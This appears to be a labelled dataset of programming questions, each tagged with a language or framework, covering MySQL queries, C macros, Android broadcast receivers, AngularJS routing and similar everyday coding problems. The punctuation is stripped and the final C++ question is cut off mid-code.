mysql : previous row data if data on another row is equal to data on current row  so i have the following membership history table   <pre><code>user_id  |  start date  |  end date  |  type(0-7) |   --------------------------------------------------     2    |   date1      |  date2     |    0       |   --------------------------------------------------     2    |   date3      |  date4     |    3       |   --------------------------------------------------     2    |   date5      |  date6     |    3       |   --------------------------------------------------     2    |   date7      |  date8     |    1       |   --------------------------------------------------     3    |   date9      |  date10    |    6       |   --------------------------------------------------     3    |   date11     |  date12    |    0       |   -------------------------------------------------- </code></pre>   i am trying to create the mysql query with the result:   <pre><code>    user_id  |  start date  |  end date  |  type(0-7) |prevend-curstart| prevtype         ----------------------------------------------------------------------------------         2    |   date1      |  date2     |    0       |  null or 0     | null or 0     ----------------------------------------------------------------------------------         2    |   date3      |  date4     |    3       |  date3-date2   |  0     ----------------------------------------------------------------------------------         2    |   date5      |  date6     |    3       |  date5-date4   |  3     ----------------------------------------------------------------------------------         2    |   date7      |  date8     |    1       |  date7-date6   |  3     ----------------------------------------------------------------------------------         3    |   date9      |  date10    |    6       |  null or 0     |  null or 0     ----------------------------------------------------------------------------------         3    |   date11     |  date12    |    0       |  date11-date10 |  6     ---------------------------------------------------------------------------------- </code></pre>   i put in null or 0 because i would be able to work with it either way from that point on    how would i go about writing the mysql query for that  this is just a sub-query for a report i need  and i ve been stuck on it all day yesterday  last night and today. would really appreciate the help. run time has little relevance  as i need to run this just once per month.    edit: to get my current output  i use the following. the  group by 1 2 3 4  is because of a lot of duplicates that i need to get rid of   <pre><code>select   mh.account_id    mh.start_date    mh.end_date    mh.`type` from tbl_membership_history mh join tbl_membership m on mh.account_id=m.account_id group by 1 2 3 4 order by 1 2 3 4 limit 100 </code></pre>,mysql
ruby model generator  i have a page where by the users fills in the text fields  about 17 of them in fact. when i run the rails generate model do i require to put in all 17 (title:string). an example one is below. this is called customer. all my labels are different as i thought it may pay off when searching the databases later. i must be missing the point!    <pre><code>&lt;%= f.label :customer   customer:   :class=&gt;  label  %&gt; &lt;%= f.text_field :customer  :class =&gt;  text_field   :size =&gt; 40 %&gt;    &lt;%= f. date_select :date  options= { order: [:day  :month  :year ]} %&gt;&lt;br&gt;&lt;br&gt; </code></pre>,ruby-on-rails
wrong broadcastreceiver receives message  i have 2 activities  call them a and b. both extend <code>servicehelperabstractactivity</code>  which has a <code>broadcastreceiver</code> to receive messages from a service. everything works fine when i launch a and even when i launch b  but if i try to go to from a to b to a  the <code>broadcastreceiver</code> is still registered to b.    <pre><code>public servicehelperabstractbase(servicehelperlistener listener          context context) {      mlistener = listener;     mcontext = context; }  public broadcastreceiver mreceiver = new broadcastreceiver() {     @override     public void onreceive(context context  intent intent) {          string uuidstring = intent                 .getstringextra(servicehelper.key_intent_uuid);          if (uuidstring != null) {             uuid uuid = uuid.fromstring(uuidstring);             processrequestwithuuid(uuid);         }          mlistener.onrequestdoneprocessing();     }   };  protected void onpause() {     servicehelper.disconnectreceiver(mcontext  mreceiver); }  protected void onresume() {      if (this.mrequestdatamap == null) {         this.mrequestdatamap = new hashmap&lt;uuid  servicehelper.requestdata&gt;();     }      list&lt;uuid&gt; tocall = new arraylist&lt;uuid&gt;();      for (uuid uuid : this.mrequestdatamap.keyset()) {         tocall.add(uuid);     }      for (uuid uuid : tocall) {         processrequestwithuuid(uuid);     }      servicehelper.connectreceiver(mcontext  mreceiver); }; </code></pre>   any help would be greatly appreciated.,android
include a variable in the middle of nsstring  i currently tried to use this:   <pre><code>nsstring *hello = @ hello ; nsstring *whatever = [hello stringbyappendingstring:@   world! ]; </code></pre>   it s possible to use this but it will make a lot of work  because my goal is to do something like this:   <pre><code>nsstring =  hello  +variable+  my name is  +variable +   good day  </code></pre>,objective-c
in iphone development  is it possible to evaluate a javascript string using a webview in which a pdf is loaded   i have loaded a pdf into uiwebview. now i want to search for strings in that pdf. so i used a string which contains js steps(used to highlight that specific string) and evaluated it with the webview object like this. but no result was obtained .it was as if nothing had been done. dont the js evaluation work on a pdf loaded into a webview  is there anyother way to search for a string in a pdf loaded into webview,iphone
combining all css into a single stylesheet  in my application i have different css specific to browser. like separate for ie6  ie7 and so on... also for right to left (languages) we have different css.    my question is it possible to combine the all the csss into a single stylesheet.    and will this reduce the response time     thanks in advance!,css
rails server command does not make a project run  i forked and downnloaded a project from github to nitrous.io but the command    <pre><code>rails server </code></pre>   will not work and as a result i cannot check that the project works.,ruby-on-rails
multiple navigation with tabbar  i am developing an iphone application using iphone sdk 3.0. i need to use tabbar control along with navigation control. i also want to include a scrollview on the top of all views.which contains a few number of buttons.these buttons are used to navigate to particular views. tabbar contains 4 items. total number views is about 8. so we can navigate to 4 of the views using tabbar as well as buttons on the top. the remaining 4 views can be accessed by using the buttons on the top only. i just created the  tabbar and able to navigate to particular views using tabbar buttons as well as buttons on the top. but i couldnt able to navigate to other views  views that are not in tabbar controllers array. so please tell me how can i implement this feature     thanx in advance  syam s iphone devr.,iphone
closest power of 2  given an unsigned integer <code>a</code> (less or equal to <code>1024</code>)  i need to find a number <code>p</code> which satisfy the following condition :   <ul> <li>lowest <code>p &gt;= a</code></li> <li><code>p</code> is a power of 2</li> </ul>   i m sure there is a better solution  using bitwise operators.<br> have you a better solution     <pre><code>unsigned int closest_pow2(unsigned int a) {   if (a == 0 || a &gt; 1024) return 0; //error  never happen   if (a == 1) return 1;   if (a == 2) return 2;   if (a &lt;= 4) return 4;   if (a &lt;= 8) return 8;   if (a &lt;= 16) return 16;   if (a &lt;= 32) return 32;   if (a &lt;= 64) return 64;   if (a &lt;= 128) return 128;   if (a &lt;= 256) return 256;   if (a &lt;= 512) return 512;   if (a &lt;= 1024) return 1024; } </code></pre>,c
increment counter in item generated with ng-repeat  i generated a list with ng-repeat  where each item has a count variable. in the listitems i have a link  i want to increment the count when i click it.    i don t have a clue to solve this in angular-js way.    <a href= http://plnkr.co/edit/hfelw8uhwcqpn3xzx8sn >plunker</a>       <pre><code>&lt;head&gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js &gt;&lt;/script&gt;    &lt;script&gt;     function increment() {      }    &lt;/script&gt; &lt;/head&gt;  &lt;body&gt;   &lt;div ng-init= items = [   {name: fruit   count:4}    {name: car   count:1}    {name: dog   count:2}   ] &gt;     &lt;ul&gt;       &lt;li ng-repeat= item in items &gt;         &lt;span&gt;count:&lt;/span&gt;         &lt;span&gt;{{item.count}}&lt;/span&gt;         &lt;a onclick= increment(); &gt;increment&lt;/a&gt;       &lt;/li&gt;     &lt;/ul&gt;   &lt;/div&gt; &lt;/body&gt; </code></pre>       with jquery i would assign the span a unique id  using some counter variable  pass this id to increment  find the html object and update. but i m curious about an angular way to do it.,angularjs
create iphone app programmatically  in its entirety  i recently became interested in iphone app development  so i ve been looking at online tutorials  and also reading a book  trying out the examples as i go along.    i m getting better  but one of the things i still find quite annoying about the usual development model is that i really have no idea what the sdk is really doing behind the scenes to make the app  work  because apple <em>protects</em> me from this. for example  when i make connections on interface builder  this presumably corresponds to code being generated somewhere... where that code is and what it does and how it works are not obvious (to me).    so i m wondering  is it possible to create an iphone app entirely programmatically  that is  have execution start in some main method  which will then programmatically create any views  register event listeners  etc. and if yes  what are some good resources for something like this,iphone
set n item from a list as a variable  i m new to python and writing a small script to set an rgb color where two of the rgb colors are randint(0 255) and the third (selected randomly) is 0.    to acomplish this  i have this:   <pre><code>import time from random import * from neopixel import *  print ( press ctrl-c to quit. )  while true:      colorlist = [0  randint(0 255)  randint(0 255)]     shuffle(colorlist)     rcolor =         gcolor =         bcolor =         time.sleep(1) </code></pre>   i  m having a lot of luck finding the answer but if i wanted to extract the first item from the list and set it to rcolor  the second for gcolor and etc  what python function could i use to do that     edit: my end goal format would be an output that was simply  0  150  150 .  the neopixel library i am working with is picky so that is the literal format i am aiming for.,python
c# trim charaters from the end of string  i have this string    <blockquote>     1.3.1.\tproduction and sales analysis:   </blockquote>   i want to trim numbers and escape sequences from the start and end of string.    <strong>output should be :</strong>   <blockquote>     production and sales analysis:   </blockquote>   <strong>my code :</strong>   <pre><code>char[] trimarray = new char[] { 0   1   2   3   4   5   6   7   8   9   .       :   \\   / };         string test =  1.3.1.\tproduction and sales analysis: ;         test = test.trimend(trimarray); </code></pre>  <blockquote>    but problem is when a string like <strong>23232-232123-asd-323</strong> comes it also removes the digits        i want to remove the unwanted characters from start and end of string <strong>but</strong> want to keep the string like <strong>23232-232123-asd-323 or mobile numbers</strong>  </blockquote>   thanks.,c#
find treeview node recursively  i have the following tree   <pre><code>a +-b +-c  | +-d +-e   +-f   +-g </code></pre>   i am trying to find <code>g</code> given <code>a</code>   <pre><code>private treelistnode findtreenode(treelistnode node  enumerations.itemtype type                                    nullable&lt;long&gt; id) {     treelistnode found = null;     foreach (treelistnode child in node.nodes)     {         if ((enumerations.itemtype)child[2] == type)         {             if (id == null)             {                 found = child;                 break;             }             else             {                 if ((long)child[0] == (long)id)                 {                     found = child;                     break;                 }             }         }         else         {             if (child.haschildren)             {                 found = findtreenode(child  type  id);                 break;             }         }     }     return found; } </code></pre>    <pre><code>findtreenode(root c null) </code></pre>   since <code>c</code> comes before <code>g</code> the routinue works for finding <code>c</code> and its children.  if the else block <code>if(child.haschildren)</code> it finds <code>c</code> and its children.  when i am trying to find <code>e</code> and its children   the recursive call isn t working correctly.  it comes in with the root node <code>a</code> but after it enters the recursion child becomes <code>c</code> and then <code>nodes.nodes = 1</code>    when i searching for <code>f</code> or <code>g</code> it has to continue its recursion. so how do i set the child to be the root node,c#
trying to avoid duplicate query  i have table a as |name1|name2|value|    table b as |name|value|.    here  name1  and  name2  attribute in table a are foreign keys referencing to the  name  in table b.     now i want to have a query functions like this:   <pre><code>    select value from a where name1 in      (select name from b where value =  1 ) and      name2 in (select name from b where value =  1 ) </code></pre>   here the problem is if i do it like the code above  there will be two queries from table b. but in fact i only need one query  is there anything in sql that writes as   <pre><code>    select value from a where name1 name2 in (select name from b where value =  1 )  </code></pre>   and what if i want something like this:   <pre><code>    select value from a where name1 name2 in     (select name from b order by value desc fetch first 200 rows only) </code></pre>,sql
ruby on rails: cucumber: is there a way to auto  show me the page  on a failed test   is there a way to automatically show me the page when a test  fails  then exit  so that i can fix the test  before continuing.. maybe adding a @skip tag when i don t care if it fails,ruby-on-rails
typedef with two sets of brackets   i have come across a typedef in some code which is this:   <pre><code>typedef void (ne_api *newindowproccallback)(void* hwnd  neuint umsgid  neuint wparam  neuint64 lparam); </code></pre>   however  i am unfamiliar with this syntax. can anyone explain this     also  if i jump to the declaration of ne_api  i find this:   <pre><code>#   define ne_api __stdcall </code></pre>   i thought this may be relevant to the answer  and an explanation of this also would be very appreciated. thank you.,c++
how to run alternative where condition if row is zero  suppose i have a table     <strong>table</strong>   <pre><code>+-------------+ | id  |  name | +-------------+ |  1  |  xabx | |  2  |  abxd | |  3  |  axcd | |  4  |  azyx | |  5  |  atyl | |  6  |  aksd | |  7  |  baabc| |  8  |  aabcd| +-------------+ </code></pre>   first i have to get data if matches first some char like :    if <code>name = aab</code>    then have to run <code>select * from table where name like  aab% </code>    then it returns   <pre><code>+-------------+ |  8  | aabcd | +-------------+ </code></pre>   which execatlly i want    but if i have only <code>abc</code>    then the above query return <code>0</code> row    then i have to search from middle like :    <code>select * from table where name like  %abc% </code>    then it returns which is the alternative   <pre><code>+-------------+ |  7  |  baabc| |  8  |  aabcd| +-------------+ </code></pre>   i have no much knowledge about mysql is there any query which can do like if first where condition don t have row then run alternative where condition     i have tried this but didn t work as i want.    <code>select * from table where name like  abc%  or name like  %abc% </code>     <a href= http://rextester.com/tsnp34347  rel= nofollow noreferrer >fiddle</a>    thanks in advance,mysql
i want to reorder/edit an existing ini file  what i need to do next is to delete the data that is created into the ini and re-number the panels  the delete works but i don t seems to figure out how to re-number the panels  here is an idea. my app is making a ini file saving data like this:   <pre><code>[panel - 1] name=a name link=a link [panelcount] count=3 [panel - 2] name=b name link=b link [panel - 3] name=c name link=c link </code></pre>   now if i delete for example panel 2 i get a result like this:   <pre><code>[panel - 1] name=a name link=a link [panelcount] count=2 [panel - 3] name=c name link=c link </code></pre>   the count form panelcount is decreasing but the panels now are 1 and 3  i want to modify all that are greater then what i ve deleted.    and i want to put the panelcount tab to always be last  it seems like it s always second for some reason.    what i want to get is:   <pre><code>[panel - 1] name=a name link=a link [panel - 2] name=c name link=c link [panelcount] count=2 </code></pre>   here is the write c code:   <pre><code>    public void write(string section  string key  string value)     {         writeprivateprofilestring(section  key  value  this.filepath);     }     private void button1_click(object sender  eventargs e)     {         inifile ini = new inifile( config.ini );         int32.tryparse(ini.read( panelcount    count ) out i);         int panelcount = flowlayoutpanel1.controls.count-1;         if(f2.ok == true)         {             ini.write( panel -   + i   name   lab.text);             ini.write( panel -   + i   link   lab.name);             ini.write( panelcount    count   panelcount.tostring());         }     } </code></pre>   and here is what i ve tried  to get this work:   <pre><code>    public string read(string section  string key)     {         stringbuilder sb = new stringbuilder(255);         int i = getprivateprofilestring(section  key      sb  255  this.filepath);         return sb.tostring();     }      private void picb_doubleclick(object sender  eventargs e)     {         string del = flp.name;         inifile ini = new inifile( config.ini );         int panelcount = int.parse(ini.read( panelcount    count ));         int count = panelcount;         //ini.deletesection( panel -   + del);         int loc = 0;         //int.tryparse(del  out loc);         count--;         for (int i = 1; i &lt;= loc;i++ )         {             //ini.write( panel -   + del);         }         ini.write( panelcount    count   count.tostring());     } </code></pre>,c#
where to look for free webpage design parts like a search box  i am not a very skilled designer so i like to take pieces of css and html and do the logic behind them. which are some good websites that have free layouts for things as:   <ul> <li>full website design</li> <li>sign in/up form</li> <li>search box</li> <li>menus</li> <li>borders etc.</li> </ul>   i am spending a lot of time on some design and i know i should find some pieces like this free on the internet,html
first argument when doing onload=fn  when i do :     <code>img.onload=fn;</code>    the function fn gets the <code>argument[0] [object event]</code>.    how can i avoid that,javascript
using class from jar file in javascript file  i have jar file that contains a matlab function  and i need to use this function in javascript file. i would like to know how can i use jar file in js file. how can i import it in js file and use it.  thank you,javascript
what does [variable] = [othervariable] = [yetanothervariable] mean   i am working in c# and have come across a statement similar to below:   <pre><code>var dog = anotherdog = someotherdog; </code></pre>   what exactly is happening here  is this just assigning the value of one variable to two others,c#
span is displayed over each other when wrapping  see the image what is going on  apparently the padding is not counting when it wraps    <img src= https://i.stack.imgur.com/fdfmw.png  alt= enter image description here >    how can i make it wrap without this behavior,html
can t create objects with a required api using calendar  i am trying to create multiple objects of a train schedule using the required constructor    <pre><code>public station(string city  calendar arrival  calendar departure  int day) </code></pre>   however when i create the objects i can t pass the arrival and departure times because 20:30 etc is considered an int. i would love to just change calendar to int in the constructor  but apparently it has to be done with calendar.   <pre><code>station stop1= new  station( vancouver  null   2030  1) </code></pre>   this is want i try to create but like i said it won t take the parameters.     so obviously i need to think outside the box here and start messing around with calendar but i m not sure if i should be doing that under the constructor below:   <pre><code> public station(string city  calendar arrival  calendar departure  int day){         this.city=city;     this.arrival=arrival;     this.departure=departure;     this.day=day; } </code></pre>   or if i have to create some new method and tie it all together. on my research i came across a method that i altered a bit  but i still can t seem to implement it into my object creation using those parameters of  arrival  and  departure .   <pre><code>private static calendar getcalendar(int hour  int minute) {     calendar c = calendar.getinstance();     c.set(calendar.hour_of_day  hour);     c.set(calendar.minute  minute);              return c; } </code></pre>   so i guess i m wondering if anyone can drop some hints  point me in the right direction of something else maybe i should be looking up online. this is the last and hardest question on my assignment and i can t even get the 10 objects created to start the train schedule.,java
mysql within geometry query <pre><code>select `name` from world_boundaries  where within(geomfromtext( point(8.5929098 50.0286713) )  ogc_geom); </code></pre>   why does this query return 3 countries when it should return one. it returns: 1. france 2. germany (correct one) 3. america    is my country boundaries data flawed or is there some trick with these geometry functions,mysql
mysql triggers  drop query inside trigger  i am trying to write a trigger to not allow an update of a relation if a statement is true  and i am running into some trouble    <pre><code>create trigger nopricelowerspeed before update on pc for each row begin if(new.speed is in (select speed from pc as pc1) and pc1.price &lt; new.price)  then drop new end if; </code></pre>  <blockquote>    error 1064 (42000): you have an error in your sql syntax; check the   manual that corresponds to your mysql server version for the right   syntax to use near  in (select speed from pc as pc1) and pc1.price &lt;   new.price)  then drop new  </blockquote>   i am trying to not allow a pc into my pc relation if it has a higher price than a pc with the same speed.     how might i write this trigger to just not allow the update,mysql
reading data from a .csv file to append into a 2d array in c <pre><code>for (int i = 0; i &lt; 4; i++) {     for (int j = 0; j &lt;4; i++) {         while (c != eof)             token = strtok((fgets(token 5 fp))  delim);     } } </code></pre>   hey everyone  i m new to c and i was given a project to take a csv file and count the average number of the values in each column. right now i m trying to parse the lines by the commas. i found the function [strtok]  but i m definitely implementing it incorrectly. i have the number of rows and columns in the csv file  i just need help figuring out how to parse each line by     and place those values into a 2d array. above is my current code that i was going to use to append the values to the array  but i keep getting a  segmentation fault . any help would be appreciated.    here is the whole code for the function. i include stdio.h and stdlib.h:   <pre><code>void main() {     char *strcat(char *dest  const char *src);     char *strtok(char *str  const char *delim);      char *file_name =  test.txt ;      file *fp = fopen(file_name   r );      int array[4][4];     //int array1 [2] = {1  3};      int counter = 0;     char *token =    ;     const char *delim = (const char *)   ;      char c = fgetc(fp);      for (int i = 0; i &lt; 4; i++) {         token =   ;         for (int j = 0; j &lt;4; i++) {             while (c != eof)                 token = strtok((fgets(token 5 fp))  delim);         }     }     fclose(fp); } </code></pre>   a sample input would be something like this:   <pre><code>10 20 30 60 40 50 60 70 70 80 90 80 100 110 120 70 </code></pre>,c
poor performance with stacked joins  i m not sure i can provide enough details for an answer  but my company is having a performance issue with an older mssql view. i ve narrowed it down to the right outer joins  but i m not familiar with the structure of joins following joins without a  on  with each one  as in the code snippet below.      how do i write the joins below to either improve performance or to the simpler format of <em>join tablename on field1 = field2</em> format     <pre><code>  from    dbo.tblobject as tblobject_2             join dbo.tblprospectb2b pb on pb.object_id = tblobject_2.object_id             right outer join dbo.tblprospectb2b_coordinatorstatus             right outer join dbo.tblobject             inner join dbo.vwdomain_hierarchy             inner join dbo.tblcontactuser             inner join dbo.tblprocessingfile with ( nolock )             left outer join dbo.enumretentionrealization as rr on rr.retentionrealizationid = dbo.tblprocessingfile.retentionleadtypeid             inner join dbo.tblloan             inner join dbo.tblobject as tblobject_1 with ( nolock ) on dbo.tblloan.object_id = tblobject_1.object_id on dbo.tblprocessingfile.loan_id = dbo.tblloan.object_id on dbo.tblcontactuser.object_id = dbo.tblloan.contactownerid on dbo.vwdomain_hierarchy.object_id = tblobject_1.domain_id on dbo.tblobject.object_id = dbo.tblloan.contactownerid on   dbo.tblprospectb2b_coordinatorstatus.object_id =   dbo.tblloan.referralsourcecontactid on tblobject_2.object_id =       dbo.tblloan.referralsourcecontactid </code></pre>,sql
what is difference between -> and . in objective-c  i am new in objective-c<br> during coding i am come across code like  self->address  and self.name<br> 1)what is -> and . (they are operator or something else)<br> 2)what is difference between them<br> 3)how to decide which one is used    if possible then please give small example,objective-c
how to pass a module(account.js) name into main module(app.js) in angularjs   i have been trying to inject the other module(account.js) into main module (app.js) in a spa using angularjs as given below   <pre><code>var app = angular.module( universityapp   [ nganimate    ngroute    ngresource    ui.bootstrap    landing   account ]); </code></pre>   angular.bootstrap(document  [ universityapp ]); throws error  uncaught error: no module: myapp,angularjs
angularjs: 404 on page refresh  clean urls  using $locationprovider.html5mode  i m trying to fix the issue using $locationprovider.html5mode(true); when refreshing the page.    it fixes this <code>localhost/#/home</code> hash in urls  but when i refresh the page it shows a 404.    i m using <code>nginx local</code>.    running <code>angularjs v1.0.7</code>. latest versions don t work apparently.    <strong>header</strong>   <pre><code>&lt;base href= / &gt; </code></pre>   <strong>angular</strong>   <pre><code>var app = angular.module( myapp   []);  app.config(function($routeprovider  $locationprovider) {       $routeprovider       .when( /   {         templateurl:  home.html           title:  home        })       .when( /about   {         templateurl:  about.html           title:  about        })       .when( /contact   {         templateurl:  contact.html           title:  contact        })       .otherwise({         redirectto:  /        });       $locationprovider.html5mode(true);     }); </code></pre>,angularjs
confusion about c macro expansion in enum  i see below code snippet in <a href= https://wiki.ubuntu.com/firmwaretestsuite/reference action=show&amp;redirect=kernel%2freference%2ffwts  rel= nofollow >fwts</a> code base:   <pre><code>#define fwts_concat(a  b) a ## b #define fwts_concat_expand(a b) fwts_concat(a  b) #define fwts_assert(e  m)   \ enum { fwts_concat_expand(fwts_assert_ ## m ## _in_line_  __line__) = 1 / !!(e) }  #define fwts_register_features(name  ops  priority  flags  features)    \ /* ensure name is not too long */                   \ fwts_assert(fwts_array_len(name) &lt; 16                   \     fwts_register_name_too_long);    </code></pre>   my questions are:   <ul> <li> for the definition of <code>fwts_assert(e  m)</code>  i know the <code>!!</code> can convert whatever value into 1 or 0. but doesn t it cause error for <code>fwts_assert()</code> when <code>!!(e)</code> evaluates to <code>0</code> thus leads to <code>1/0</code>   </li> <li> and btw  the <code>fwts_concat_expand(a b)</code> and <code>fwts_concat(a  b)</code> seem to be duplicated  why do we need 2 of them  </li> </ul>  <h2>add 1</h2>   based on <code>@klas lindbäck</code> s answer  i want to go through the macro expansion with a concrete example.    suppose i have:   <pre><code>#define m_1  abc #define m_2  123 </code></pre>   then i <em>guess</em> the expansion process of <code>fwts_concat_expand(m_1 m_2)</code> should be:   <pre><code>fwts_concat_expand(m_1 m_2) -&gt; fwts_concat(abc  123) -&gt; abc123 </code></pre>   if i directly applying <code>fwts_concat(m_1  m_2)</code>  will it be expanded like this    <pre><code>fwts_concat(m_1  m_2) -&gt; m_1m_2 -&gt;  bang! m_1m_2 is an invalid symbol! </code></pre>   (please correct me if i am wrong...)   <h2>add 2</h2>   tried with <code>gcc -e macrotest.c -o macrotest.i</code>:    (macrotest.c)   <pre><code>#define m_1  abc #define m_2  123 #define fwts_concat(a  b) a ## b #define fwts_concat_expand(a b) fwts_concat(a  b)  fwts_concat_expand(m_1  m_2) fwts_concat(m_1 m_2) </code></pre>   (macrotest.i)   <pre><code># 1  macrotest.c  # 1  &lt;built-in&gt;  # 1  &lt;command-line&gt;  # 1  macrotest.c   abc123 m_1m_2 </code></pre>   i think i get the point of the macro expansion rule. below are some related concepts and quotation:    <a href= https://gcc.gnu.org/onlinedocs/cpp/argument-prescan.html#argument-prescan  rel= nofollow >argument prescan</a>:   <blockquote>    macro arguments are completely macro-expanded <strong><em>before</em></strong> they are   substituted into a macro body  unless they are <strong><em>stringified</em></strong> or <strong><em>pasted</em></strong>   with other tokens. after substitution  the entire macro body    including the substituted arguments  is scanned <strong><em>again</em></strong> for macros to be   expanded. the result is that the arguments are scanned twice to expand   macro calls in them.  </blockquote>   <a href= https://gcc.gnu.org/onlinedocs/cpp/stringification.html  rel= nofollow >stringification</a>   <blockquote>    when a macro parameter is used with a leading ‘#’  the preprocessor   replaces it with the literal text of the actual argument  converted to   a <strong><em>string constant</em></strong>.  </blockquote>   <a href= https://gcc.gnu.org/onlinedocs/cpp/concatenation.html  rel= nofollow >token pasting / token concatenation</a>:   <blockquote>    it is often useful to merge two tokens into one while expanding   macros. this is called <strong><em>token pasting</em></strong> or <strong><em>token concatenation</em></strong>. the ‘##’   preprocessing operator performs token pasting. when a macro is   expanded  the two tokens on either side of each ‘##’ operator are   combined into a single token  which then replaces the ‘##’ and the two   original tokens in the macro expansion.  </blockquote>   so the detailed process of my scenario is like this:   <pre><code>fwts_concat_expand(m_1  m_2)    -&gt; fwts_concat_expand(abc  123) // m_1  m_2 pre-expanded since fwts_concat_expand has no ##. -&gt; fwts_concat(abc  123) // fwts_concat_expand expanded into fwts_concat -&gt; abc123  // fwts_concat expanded  fwts_concat(m_1 m_2) -&gt; m_1m_2 //m_1  m_2 are not pre-expanded because of the ## in fwts_concat -&gt; deadend </code></pre>,c
persist google/facebook login  this looks like a very common scenario for most of the android apps out there  but still i cannot find much help after looking around the internet for a couple of hours.    in my app  i allow users to sign-in only through fb or google. how do i enable the scenario where the users don t have to login everytime they open the app     i already saw the solutions around storing the auth token in sharedpreferences and validating it at every launch. is that the right approach  do i need to validate the google token when the user is on an android device and i can assume he is already signed in  then why do i need to re-authenticate. sorry  i am a bit confused.    appreciate any help,android
can t hook form submit event  i m trying to use jquery to submit a form so the page doesn t need to be reloaded i cant get it to hook onto the form though.   <pre><code>&lt;form action= index.php  method= get  id= frmfilter &gt; </code></pre>   and   <pre><code>$( #frmfilter ).submit( function () {     alert( t );     return false; }); </code></pre>   it just won t work though; when i use the submit button on the form it submits instead of showing an alert.    the form is actually loaded using jquery s <code>.load</code> event and i have tried to put the above code on the page with the form as well as the page that loads the form and both wouldn t work.    any idea what i m doing wrong     tested using both ie8 and chrome 3.,jquery
.net code security review tool  i am looking for a utility that can be used against .net assemblies to validate code against best practices  and most importantly can review the code for security  injection  and cross site scripting vulnerabilities.  i know that it isn t an exact science  but i m looking for anyones experience/recommendations on the best way to a solution that will at least set a baseline standard.  i know that nothing beats doing an individual review  but i m looking at the high level.    i have been doing some research on <a href= http://www.fortify.com/products/detect/in_development.jsp  rel= nofollow noreferrer >fortify</a>  and so far it is looking like a good tool  from what i can tell it provides a very detailed response.  i know that fxcop is out there as well  but i don t know if it goes in deep enough.    <strong>edit</strong>  one attractive thing i found about fortify  and that would be nice in a tool is the combination of security review  and .net best practices review.  ie fortify checks fo potential un-closed connections  recommends the use of using statements  etc.,.net
how can i get all employees with a аvg salary that are in company less than 5 years  can anyone help me   i need to write query for next case . it is necessary to draw from the table asking the average salary of employees in the company for more than 5 years  and the average salary of employees in the company up to 5 years.    select name avg(salary) from employees where hiredate &lt; (19-july-09) and  hiredate > (19-jul-09)       is this good,sql
proper order for scripts in head of my document  i have multiple script tags in my game and the order in which i call them really makes me confused. my game was even crashing at some point. this is how it looks in my code   <pre><code>  &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.0.4/socket.io.js &gt;&lt;/script&gt;    &lt;script src= client/js/generatehtml.js  defer&gt;&lt;/script&gt;   &lt;script src= client/js/hacktimer.js &gt;&lt;/script&gt;   &lt;script src= client/game.js  async&gt;&lt;/script&gt; </code></pre>   the <code>async</code> and <code>defer</code> confuse me.    generatehtml.js script needs to be run only once  and that s when the <code>&lt;body&gt;</code> is loaded. it just generates bunch of html content in the body (upgrade  mastery  crafting boxes etc). after that  it does nothing (the content generated is later used by game.js)    hacktimer.js is a small script i found online which fixes the problem where setintervals are automatically set to 1000ms if the game tab is out of focus. (ie damage per second actually does 2.5% dps every 25ms (40fps) to create a smooth health bar  or 2.5% damage per 1000ms (bad) if the user is browsing another tab). hacktimer fixes this problem.    game.js is where all the functions  objects etc for my game are.    is my order bad  when  and where should i use <code>defer</code> and <code>async</code>  and do i really need to use them,html
how do you know when your mysql commands have been executed   i m very new at mysql and i m trying to execute some commands  wait a certain period of time until they are uploaded and then check to ensure that the data from the commands is actually in the table so i can delete these files.     is there any sort of first priority/instant way of executing these sort of commands  a way of setting the maximum amount of time these commands take to execute      thanks. by the way i am using c# and the odbccommand class,mysql
how do i encrypt with my dictionary  hi so i created this dictionary   <pre><code>cipher_dict = { a : d   b : e   c : f   d : g   e : h   f : i   g : j   h : k   i : l    j : m   k : n   l : o   m : p   n : q   o : r   p : s   q : t   r : u   s : v   t : w    u : x   v : y   w : z   x : a   y : b   z : c   a : d   b : e   c : f   d : g   e : h    f : i   g : j   h : k   i : l   j : m   k : n   l : o   m : p   n : q   o : r   p : s    q : t   r : u   s : v   t : w   u : x   v : y   w : z   x : a   y : b   z : c } </code></pre>   my question is  can i use this for encryption and decryption   if yes  how can i make the keys and values become strings     for example if i want to encrypt <code> roadway </code> how could i do it with my dictionary     i am really new to programming and i will be very appreciative of any help i can get to understand this.,python
seeing rand() from a class and comparing user input to the computers choice. rock  paper  scissor game  i submitted this code incomplete to my instructor just so i d get a  timeliness  grade on it. that being said  i don t want to give up on this game because i ve really been struggling to figure out how to complete it plus i can resubmit it for a better score. when i submitted it  the only feedback i got on it was:  int randnum = rand() % 5 + 1; this is what a constructor is for. you didn t seed it. this doesn t work.  i think i fixed that. but that is not the only problem with this: a) i don t have a way to keep score b) there is not a way to keep track of the rounds played c) a way to compare the user input to the computers . a b and c are what i ve been focusing on for a few days with no progress. any advice or tips would be greatly appreciated.   <pre><code>#include &lt;string&gt; #include &lt;iostream&gt; using namespace std;      class computerschoice { //class that contains the random number function for the ai player     private:         int randnum;      public:          computerschoice() {             randnum = value();         }         int getchoice() {             return randnum;         }         int value() {             randnum = rand() % 5 + 1;             return randnum;         }           void printresult() {         if (randnum == 1) {             cout &lt;&lt; the computer chose rock. ;         }          else if (randnum == 2) {             cout&lt;&lt; the computer chose paper. ;         }          else if (randnum == 3) {             cout&lt;&lt; the computer chose scissors. ;         }          else if (randnum == 4) {             cout&lt;&lt; the computer chose lizard. ;         }              else {             cout&lt;&lt; the computer chose spock. ;         }               }        };      //how many rounds does the user want to play function int getrounds() {        bool isvalid = false;      int rounds = 0;      while (!isvalid) {      cout&lt;&lt; do you want to play 3  5 or 7 rounds   &lt;&lt; endl;     cin&gt;&gt;rounds;      switch(rounds) {         case 3:         case 5:          case 7:            isvalid = true;            break;         default:             cout&lt;&lt; invalid input. enter 3  5 or 7. &lt;&lt;endl;             break;  }  }      cout&lt;&lt; you picked the best of   &lt;&lt; rounds &lt;&lt;   rounds.  &lt;&lt; endl;         return rounds;  }      //user input int getuser() {      int user_choice = 0;      cout&lt;&lt; enter 1 for rock  2 for paper  3 for scissors  4 for lizard  5 for spock.  &lt;&lt; endl;     cin&gt;&gt;user_choice;      if (user_choice == 1) {         cout&lt;&lt; you chose rock.  ;     }      else if (user_choice == 2) {         cout&lt;&lt; you chose paper.  ;     }      else if (user_choice == 3) {         cout&lt;&lt; you chose scissors.  ;     }      else if (user_choice == 4) {         cout&lt;&lt; you chose lizard.  ;     }      else if (user_choice == 5) {         cout&lt;&lt; you chose spock.  ;     }      else {         